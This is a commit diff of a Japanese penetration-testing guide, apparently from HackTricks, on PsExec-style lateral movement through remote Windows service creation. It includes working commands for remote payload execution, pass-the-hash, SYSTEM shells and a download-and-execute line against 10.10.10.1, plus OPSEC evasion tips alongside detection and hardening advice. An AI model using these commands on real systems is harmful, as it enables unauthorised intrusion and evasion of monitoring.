Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

This commit is contained in:
Translator 2025-08-18 14:17:26 +00:00
parent 81522cb4d3
commit 0a43330abb

View File

@ -4,46 +4,147 @@
## どのように機能するか
プロセスは以下のステップで概説されており、サービスバイナリがどのように操作され、SMBを介してターゲットマシンでリモート実行を達成するかを示しています。
これらの技術は、SMB/RPCを介してリモートでWindowsサービスコントロールマネージャーSCMを悪用して、ターゲットホスト上でコマンドを実行します。一般的な流れは次のとおりです。
1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。
2. **リモートマシン上にサービスを作成**し、バイナリを指します。
3. サービスが**リモートで開始**されます。
4. 終了時に、サービスは**停止され、バイナリは削除**されます。
1. ターゲットに認証し、SMBTCP/445経由でADMIN$共有にアクセスします。
2. 実行可能ファイルをコピーするか、サービスが実行するLOLBASコマンドラインを指定します。
3. SCM\PIPE\svcctl経由のMS-SCMRを介して、そのコマンドまたはバイナリを指すリモートサービスを作成します。
4. サービスを開始してペイロードを実行し、オプションで名前付きパイプを介してstdin/stdoutをキャプチャします。
5. サービスを停止し、クリーンアップ(サービスとドロップされたバイナリを削除)します。
### **PsExecを手動で実行するプロセス**
要件/前提条件:
- ターゲット上のローカル管理者SeCreateServicePrivilegeまたはターゲット上の明示的なサービス作成権限。
- SMB445が到達可能で、ADMIN$共有が利用可能;ホストファイアウォールを通じてリモートサービス管理が許可されている。
- UACリモート制限ローカルアカウントを使用する場合、トークンフィルタリングによりネットワーク上の管理者がブロックされる可能性があるため、組み込みのAdministratorまたはLocalAccountTokenFilterPolicy=1を使用する必要があります。
- Kerberos対NTLMホスト名/FQDNを使用するとKerberosが有効になり、IPで接続するとNTLMにフォールバックすることが多く強化された環境ではブロックされる可能性があります
msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」を仮定すると、以下のステップが取られます。
### sc.exeを介した手動ScExec/WinExec
- **バイナリのコピー**: 実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。
- バイナリをコピーする代わりに、`powershell.exe``cmd.exe`のようなLOLBASバイナリを使用して、引数から直接コマンドを実行することも可能です。例: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **サービスの作成**: Windowsの`sc`コマンドを利用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。
- **サービスの開始**: 最後のステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さずに「タイムアウト」エラーが発生する可能性が高いです。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。
以下は、最小限のサービス作成アプローチを示しています。サービスイメージは、ドロップされたEXEまたはcmd.exeやpowershell.exeのようなLOLBASである可能性があります。
```cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。
- **Windows SysinternalsバイナリPsExec.exe**を使用することもできます:
![](<../../images/image (928).png>)
またはwebddav経由でアクセスできます
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
```
- あなたは[**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます:
ノート:
- 非サービスEXEを起動するときにタイムアウトエラーが発生することがありますが、実行は続行されます。
- よりOPSECフレンドリーであるために、ファイルレスコマンド(cmd /c, powershell -enc)を好むか、ドロップされたアーティファクトを削除してください。
詳細な手順については、こちらを参照してください: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## ツールと例
### Sysinternals PsExec.exe
- SMBを使用してADMIN$にPSEXESVC.exeをドロップし、一時サービスデフォルト名PSEXESVCをインストールし、名前付きパイプを介してI/Oをプロキシするクラシックな管理ツールです。
- 使用例:
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- WebDAV経由でSysinternals Liveから直接起動できます:
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- サービスのインストール/アンインストールイベントを残しサービス名は通常PSEXESVC、-rが使用されない限り、実行中にC:\Windows\PSEXESVC.exeを作成します。
### Impacket psexec.py (PsExecに似たもの)
- 埋め込まれたRemComのようなサービスを使用します。ADMIN$経由で一時的なサービスバイナリ一般的にランダム化された名前をドロップし、サービスを作成しますデフォルトは通常RemComSvcし、名前付きパイプを介してI/Oをプロキシします。
```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
Artifacts
- 一時的なEXEがC:\Windows\に作成されますランダムな8文字。サービス名は上書きされない限り、デフォルトでRemComSvcになります。
### Impacket smbexec.py (SMBExec)
- cmd.exeを起動する一時的なサービスを作成し、I/Oに名前付きパイプを使用します。一般的に完全なEXEペイロードをドロップすることは避けられ、コマンド実行はセミインタラクティブです。
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral と SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) は、サービスベースの実行を含むいくつかの横移動手法を実装しています。
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- あなたは[**SharpMove**](https://github.com/0xthirteen/SharpMove)も使用できます:
```bash
- [SharpMove](https://github.com/0xthirteen/SharpMove) は、リモートでコマンドを実行するためのサービスの変更/作成を含みます。
```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- **Impacketの`psexec``smbexec.py`**も使用できます。
- CrackMapExecを使用して、異なるバックエンドpsexec/smbexec/wmiexecを介して実行することもできます
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC、検出とアーティファクト
PsExecのような技術を使用する際の典型的なホスト/ネットワークアーティファクト:
- 管理者アカウントに対するセキュリティ4624ログオンタイプ3および4672特権
- ADMIN$アクセスおよびサービスバイナリの作成/書き込みを示すセキュリティ5140/5145ファイル共有およびファイル共有詳細イベントPSEXESVC.exeまたはランダムな8文字の.exe
- ターゲット上のセキュリティ7045サービスインストールPSEXESVC、RemComSvc、またはカスタム-r / -service-nameのようなサービス名。
- services.exeまたはサービスイメージのためのSysmon 1プロセス作成、3ネットワーク接続、11ファイル作成C:\Windows\内、\\.\pipe\psexesvc、\\.\pipe\remcom_*、またはランダム化された同等物のための17/18パイプ作成/接続)。
- Sysinternals EULAのためのレジストリアーティファクトHKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1オペレータホスト上抑制されていない場合
ハンティングアイデア
- ImagePathにcmd.exe /c、powershell.exe、またはTEMPロケーションを含むサービスインストールにアラートを出す。
- 親イメージがC:\Windows\PSEXESVC.exeであるプロセス作成や、LOCAL SYSTEMとしてシェルを実行しているservices.exeの子プロセスを探す。
- -stdin/-stdout/-stderrで終わる名前付きパイプや、よく知られたPsExecクローンパイプ名にフラグを立てる。
## 一般的な失敗のトラブルシューティング
- サービス作成時にアクセスが拒否される5真のローカル管理者ではない、ローカルアカウントに対するUACリモート制限、またはサービスバイナリパス上のEDR改ざん保護。
- ネットワークパスが見つからない53またはADMIN$に接続できないSMB/RPCをブロックするファイアウォールまたは管理共有が無効。
- Kerberosが失敗するがNTLMがブロックされるホスト名/FQDNIPではなくを使用して接続し、適切なSPNを確保するか、Impacketを使用する際にチケットと共に-k/-no-passを供給する。
- サービス開始がタイムアウトするがペイロードが実行された実際のサービスバイナリでない場合は予想される出力をファイルにキャプチャするか、ライブI/Oのためにsmbexecを使用する。
## ハードニングノート(現代の変更)
- Windows 11 24H2およびWindows Server 2025は、デフォルトでアウトバウンドおよびWindows 11のインバウンド接続に対してSMB署名を要求します。これは、正当な資格情報を持つPsExecの使用を妨げることはありませんが、署名されていないSMBリレーの悪用を防ぎ、署名をサポートしないデバイスに影響を与える可能性があります。
- 新しいSMBクライアントのNTLMブロックWindows 11 24H2/Server 2025は、IPまたは非Kerberosサーバーへの接続時にNTLMフォールバックを防ぐことがあります。ハードニングされた環境では、NTLMベースのPsExec/SMBExecが壊れる正当な必要がある場合はKerberosホスト名/FQDNを使用するか、例外を設定する。
- 最小特権の原則ローカル管理者メンバーシップを最小限に抑え、Just-in-Time/Just-Enough Adminを優先し、LAPSを強制し、7045サービスインストールを監視/アラートする。
## 参照
- WMIベースのリモート実行しばしばファイルレス
{{#ref}}
lateral-movement/wmiexec.md
{{#endref}}
- WinRMベースのリモート実行
{{#ref}}
lateral-movement/winrm.md
{{#endref}}
## 参考文献
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Windows Server 2025およびWindows 11におけるSMBセキュリティハードニングデフォルトでの署名、NTLMブロックhttps://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}}